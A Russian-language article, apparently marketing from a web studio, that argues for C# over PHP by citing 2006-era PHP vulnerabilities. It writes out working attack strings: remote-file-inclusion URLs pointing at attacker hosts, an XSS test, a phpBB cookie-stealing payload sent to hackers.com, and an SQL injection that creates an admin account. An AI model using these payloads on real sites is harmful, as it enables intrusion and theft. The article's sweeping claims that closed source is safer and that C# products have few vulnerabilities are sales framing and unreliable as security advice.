Atilekt

Разработка сайта на PHP или на C#. Что выбрать?

 

Все, начиная от простых пользователей, заканчивая директорами крупных предприятий, хорошо понимают, что наступление Internet на повседневную жизнь неизбежно. И очень немногие организации еще не имеют или, как минимум, не задумывались иметь свою страничку во всемирной сети. И каждый, кто отважился на этот вынужденный шаг, становится перед выбором: сделать статичную, никому неинтересную страницу, или же создать достойный интерактивный сайт с динамическим содержимым.

Если вы делаете выбор в пользу динамичности, то вы станете перед выбором номер два: кто и как будет писать программную составляющую проекта?

Довольно часто на выбор скриптов для сайта влияет их доступность, популярность и... бесплатность (или ценовая политика производителя). Однако, в основу своего выбора наряду с внешним удобством использования и популярностью необходимо поставить и еще один немаловажный фактор: безопасность.

Впрочем, если ваш сайт представляет собой нечто не имеющее особой привлекательности для хакеров, тогда вам нечего опасаться… кроме того, что в один пасмурный день, зайдя на свое детище, вы увидите на главной странице совершенно не то, что вы там разместили.

Язык PHP стал очень популярным для написания web приложений, создания динамических страниц, управления содержимым сайтов. Причин тому множество, но в первую очередь, это простота самого языка программирования, простота использования скриптов, поддержка интерпретатора PHP популярными web серверами, открытость кода. Впрочем, последнее может быть достаточно условным и применимо в большей степени к самому интерпретатору.

Но, глядя на все указанные преимущества и популярность, следует подумать об одном: почему та же статистика говорит, что около 80% (если не больше) всех взломов в сети происходит с использованием недочетов в PHP скриптах, и, в первую очередь, скриптах бесплатных.

Конечно же, бесплатность и открытость подразумевает не только популярность у пользователей, но и у исследователей кода, намерения которых могут быть самыми разнообразными. Так что, за популярность всегда приходится платить: либо за сам продукт — программистам высокого уровня профессионализма (а это не всегда спасает, как мы увидим далее), либо постоянными опасениями того, что ваш сайт может стать очередной жертвой взлома.

Все же, прежде чем говорить о путях решения проблем, давайте остановимся на самих проблемах подробнее.

Ошибки программистов или карма?

По большому счету, все ошибки программистов сводятся к тому, что переменные, которые пользователь может определить (или переопределить), проходят недостаточную фильтрацию. Так, к примеру, если в функцию eval() передается строка данных, один компонент которой определяется пользователем, то что мешает этому пользователю сформировать передаваемые данные таким образом, что бы в результате выполнился нужный ему код PHP?

.include

Самой «злой» ошибкой программистов PHP несколько лет считается т.н. include bug. Отсутствие достаточной фильтрации переменных, передаваемых в качестве параметра в функции типа include() могут привести (при благоприятных условиях) к внедрению произвольного кода в программу. Результат – компрометация системы.

Правда, есть несколько ограничивающих эту уязвимость условий:

  • для включения удаленного файла – соответствующая конфигурация интерпретатора,
  • иногда – включенные register_globals.

Впрочем, все это довольно часто встречается и поныне на массовых хостингах.

Некоторое время назад мне пришлось встретить сайт, видимо самописный, где навигация по страницам представляла собой нечто вида:

index.php?page=contacts.php

Даже не стоит сомневаться, что на этом сайте сработало удаленное включение файла. Динозавры не вымерли!

Эта уязвимость в той или иной форме является хитом среди уязвимостей и выпускаемых хакерами эксплоитов и сейчас: 50 из 69 эксплоитов для web приложений, опубликованных на milw0rm.org в июле 2006 г., использовали именно уязвимость включения файлов.

Свежий пример. Хороший, качественно сделанный портал mambo тем не менее пестрит ошибками программистов на публичных досках сети, публикующих свежие уязвимости. Очередная уязвимость была найдена в файле admin.cropcanvas.php компонента com_cropimage 1.0. В 7-й строке есть незамысловатый код:

require_once $cropimagedir."class.cropinterface.php";

Соответственно, если register_globals включены в ini файле, то хакер может передать переменную cropimagedir в GET или другом запросе, например:

https://[уязвимый_сайт]/[путь_к_порталу]/administrator/components/com_cropimage/admin.cropcanvas.php?
cropimagedir=https://[сайт_хакера]

предварительно поместив на [сайте_хакера] файл class.cropinterface.php с нужным ему кодом. .XSS

Довольно популярная уязвимость, значение которой часто недооценивается – уязвимость «межсайтового скриптинга» (cross site scripting). Популярность ее обусловлена в первую очередь сложностью проведения всех возможных проверок передаваемых данных на предмет внедрения кода, который может быть выполнен в контексте различных броузеров.

Суть уязвимости, как вы уже могли догадаться, заключается в том, что пользователь со злым умыслом может передать данные серверу или другому пользователю (напр., специальным образом сформированный URL), которые могут вызвать искажение информации, отображаемой на странице. Обычно это характерно для любых скриптов, где так или иначе разрешены вставки тегов.

Самый банальный пример, когда данные из URL передаются без очистки «как есть» в html код страницы, что мы можем наблюдать в phpCommunityCalendar 4.0.3. Так, следующий запрос приведет к выполнению java script кода alert(‘XSS’), в результате чего пользователь увидит окошко предупреждения с надписью “XSS”:

https://[уязвимый_сайт]/[путь_к_скрипту]/week.php?LoName=<script>alert('XSS')</script>

Следующий немудреный пример имеет уже чисто практическое значение для хакера. В мае 2006 г. были опубликованы данные о том, что если в известном форуме phpBB версии до 2.0.19 разрешены вставки html кодов, то имелась возможность внедрить злонамеренный java script код, который бы воровал cookie пользователей:

<pre a='>' onmouseover='document.location="https://hackers.com/cookie_stealer.php?c="+document.cookie' b='<pre' > [url]https://www.somesite.com/[/url]</pre>

Разумеется, что пусть https://hackers.com/cookie_stealer.php взят совершенно произвольно и должен указывать на реальный скрипт, который будет коллекционировать данные из cookie попавшихся на эту приманку пользователей форума. Соответственно, вариаций внедрения кода в данном случае может быть масса.

.SQL injection

Вторая по популярности уязвимость PHP скриптов – внедрение SQL кода.

Как несложно догадаться, уязвимость характерна для приложений, использующих базы данных SQL. Суть уязвимости заключается в том, что данные из запроса пользователя поступают непосредственно (или после определенной обработки) в SQL запрос. Соответственно, недостаточная фильтрация может стать причиной манипулирования SQL запросами. Какой запрос может иметь место? Все зависит от ограничивающих условий, накладываемых фильтрацией переменных, и фантазии хакера. Возьмем один из свежих примеров. Уязвимость в приложении proManager v.0.73, которое распространяется с открытым кодом. Пример запроса, который создает нового администратора проекта c именем evilhacker и паролем neverhack:

https://www.site.com/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20
(1.evilhacker.neverhack.evilhacker.evilhacker@newmailserver.com.1)/*

Таким образом, основным недостатком приложений на PHP с открытым кодом является доступность (т.е. как-раз сама открытость) кода для пытливых умов хакеров. И, поверьте, не всегда хакеры выкладывают свои наработки на баг-трек ленты и, уж тем более, не всегда сперва предупреждают о найденных ошибках разработчика. Примером тому могут служить взломы сайтов разработчиков известных скриптов форумов phpBB и Invision Power.

Карма или ошибки разработчика?

Итак, с одной стороны можно подумать, что корень всех зол в некомпетентности разработчиков программного кода скриптов. Или, по крайней мере, в их неосведомленности в методах хакерских атак. Конечно, на программистах лежит большая ответственность за фатальные ошибки, но и они не всегда могут предусмотреть один аспект!

Ненадолго вернемся к атакам класса SQL инъекций.

Одной из функций, которая позволяет произвести фильтрацию и экранирование всех опасных для SQL запроса символов, является функция PHP mysql_real_escape_string (хотя, на самом деле, это скорее функция MySQL связанная с PHP). Но не так давно была обнаружена ошибка в базах данных MySQL, которая позволяла обойти фильтрацию этой функции с использованием мультибайтовой кодировки (например UTF-16). И все приложения, использующие эту (как и некоторые другие функции экранирования вредоносных символов) становились незащищенными перед хитроумными взломщиками, которые обладали исходными кодами приложений (будем ли мы гадать, что случилось бы, если бы у взломщиков этих самых открытых кодов не было?).

Заметим однако, что это не первая и, уж тем более, не единственная ошибка разработчиков популярных платформ для хранения баз данных и языков программирования. Но, мы говорим сегодня только о PHP.

В конце прошлого года появились новости об уязвимости, которая позволяет переписать данные массива $GLOBALS. Чем это грозит пользователям приложений с открытым кодом? Дело в том, что в PHP есть несколько глобальных массивов, которые хранят данные, передаваемые пользователем: _GET, _POST, _COOKIE, _FILES. Массив $GLOBALS отличается от других тем, что через него можно получить доступ к любым глобальным переменным. Т.о., используя эту уязвимость, хакер мог переписать глобальные переменные (даже инициализированные в самом скрипте) и получить доступ к исполнению нужного кода в системе, например, используя уже описывавшуюся ситуацию с include bug. Перезапись переменных массива $GLOBALS могла быть осуществлена тем или иным способом (через суперглобальные массивы _GET, _POST или через массив загружаемых файлов - _FILES) в зависимости от версии PHP. Ошибка была настолько опасной, что многие известные разработчики приложений с открытым или закрытым кодом стали выпускать сразу же новые версии своих программ, которые перед выполнением важных функций проводили проверку входящих данных на переменные $GLOBALS, дублирующиеся в других глобальных массивах.

Неизвестно сколько жертв было среди пользователей и производителей после публикации уязвимости перезаписи $GLOBALS, но вот в январе 2006г. была найдена еще одна интересная особенность в основе PHP интерпретатора – zend engine. Более шести месяцев понадобилось разработчикам PHP, чтоб исправить эту уязвимость, суть которой в двух словах заключается в следующем. PHP повсеместно использует таблицу хешей Zend’а, например для хранения указателей на потоки, передаваемые данные. Более того, массив типов данных и глобальная таблица символов представляют ни что иное как хеш таблицу. Функция unset() использует хеш таблицы для очистки значения доступной переменной. Поиск в таблице производится по индексу, при чем доминирующим является цифровой, а не буквенно-цифровой индекс. Т.о., unset удалит в первую очередь то, что будет соответствовать цифровому индексу. Но что будет, если имя переменной обладает эквивалентом цифрового хеша другой переменной? В таком случае, если unset будет передано имя этой второй переменной, то удалится не она, а переменная с именем, равным цифровому хешу.

Не понятно? Тогда возьмем пример. Функция unset() иногда используется разработчиками скриптов для быстрой фиксации некоторых уязвимостей, что и имело место, например, в довольно популярном скрипте форума miniBB. Разработчики сделали заплатку, по их мнению фиксирующую уязвимость «инклуда» через переменную includeHeader, прописав в начале уязвимого кода функцию unset($includeHeader). Все бы было ничего, если бы не найденная уязвимость, касающаяся этой функции. Для того, чтоб заплатка не имела смысла перед мыслью взломщика, достаточно в запросе GET передать переменную с именем, которое соответствует цифровому хешу-индексу переменной includeHeader. В результате, мы можем так же как и раньше использовать функцию include() для внедрения удаленного скрипта с нужным нам кодом:

https://site.com/index.php?includeHeader=https://www.evil.com/?&-269001946=1&-834358190=1

В примере указаны индексы для обоих версий PHP (4 и 5).

Некоторые размышления

Итак, что же делать? Использовать ли скрипты, написанные на PHP для серьезных проектов? Почему бы и нет? По крайней мере, не все ведь программисты выкладывают код для всеобщего обозрения. Есть некоторые варианты шифрования исходного кода, хотя и они не на 100% обеспечивают от его раскрытия. Но, как бы там ни было, «неоткрытый» код проектов ставит определенные трудности для взломщика, которых может он не встретить перед взломом скриптов общего доступа.

В любом случае, мы можем порекомендовать обратить внимание на приведенную нами информацию, и тщательно подходить к вопросу выбора разработчика приложений для своего проекта. Не пренебрегать требованиями безопасности, если вам важен имидж проекта. И, конечно же, полагаться больше на авторов, которые работают не на публику, а на себя, потому что им более важна безопасность клиентов, поскольку от этого зависит их работа, а значит и прибыль.

А как на альтернативный вариант для web разработок предлагаем обратить внимание на технологию .NET. Не говоря о том, что сама платформа является продуктом с закрытым кодом, язык программирования C# включает в себя преимущества языков C++ и Java.

Далее мы предлагаем Вам посмотреть на некоторые преимущества разработки сайта с использованием языка высокого уровня C# (читается си шарп).

Компилирование кода.

Написанный код при первом обращении компилируется и впоследствии выполняется уже скомпилированный код, в отличие от PHP. Это заметно ускоряет работу приложений. Веб-сервер сам выполняет компиляцию. Если вы заменили исходники, сервер сам при первом обращении к странице проведет перекомпиляцию, без вашего внимания.

Код выполняется быстрее, занимает меньше ресурсов, и при этом процесс разработки не усложняется. Скорее наоборот, в случае ошибки вы можете получить полный листинг компилятора, с подробным описанием ошибки.

Основные характеристики языка.

Программист, привыкший к платформе Microsoft, может представить себе C# как промежуточный вариант между C++ и Visual Basic, если рассматривать сложность языковых конструкций и возможности языка.

C# имеет C стиль синтаксиса (для управляющих конструкций, блоков кода, описания сигнатуры методов и др.), много общего с Java (отсутствие множественного наследования и шаблонов, наличие сборщика мусора) и Дельфи (ориентированность на создание компонент), в то же время имеет и свой колорит.

При создании языка в основу дизайна легла легкость использования, доминирующая над мощностью языка и скоростью выполнения. Отсюда и сборщик мусора с управляемыми объектными ссылками, который автоматически освобождает за Вас память. Вы также получаете безопасность работы с типами, а это, по мнению многих, является вторым важнейшим фактором избежания ошибок.

C# объектно-ориентированный язык. Более того, это язык, ориентированный на написание компонент.

Цельность концепции видна, скажем в реализации упаковки/распаковки. Это позволяет рассматривать все типы (даже примитивные, например integer) как объекты, что разрешает многие проблемы дизайна приложений.

При создании языка рассматривалась не только простота написания приложений, но и их поддержки — в связи с чем в язык включили поддержку XML комментариев и контроля версий. Настоящий подарок для программистов.

Помимо сборщика мусора и безопасности работы с типами для избежания ошибок в языке также применяется автоматическая инициализация переменных. Все типы, которые размещаются в стеке (value types, к которым относятся примитивные типы, структуры и прочие наследники класса ValueType) инициализируются нулями. Объекты остальных типов размещаются в куче, доступ к ним осуществляется по объектной ссылке, и ссылки эти инициализируются в значение null (которая говорит, что данная ссылка не имеет ассоциированного объекта в куче).

В C# представлена концепция пространств имен, аналогичная пакетам в Java. Это позволяет иерархически структурировать Вашу систему типов, делая код намного более понятным и позволяя избежать проблем с именованием. Вы можете рассматривать пространства имен как директории, а языковые типы как файлы в этих директориях.

Возможности расширения решения

Включена поддержка мультипроцессорных и кластерных решений. Что позволяет при написании приложения, рассчитывать на то, что систему можно будет без труда расширять.

Обработка ошибок.

 В связи с новыми концепциями (в частности, с компиляцией программных текстов) добавлены новые возможности по обработке ошибок. На стадии разработки можно получить полную информацию об ошибке и листинг нужного куска кода. Для обработки ошибок, которые могут случиться во время выполнения вашего приложения вы можете использовать новую директиву ErrorPage.

И самое главное, много ли вы видели информации об уязвимостях, найденных в продуктах, написанных на C#?

Top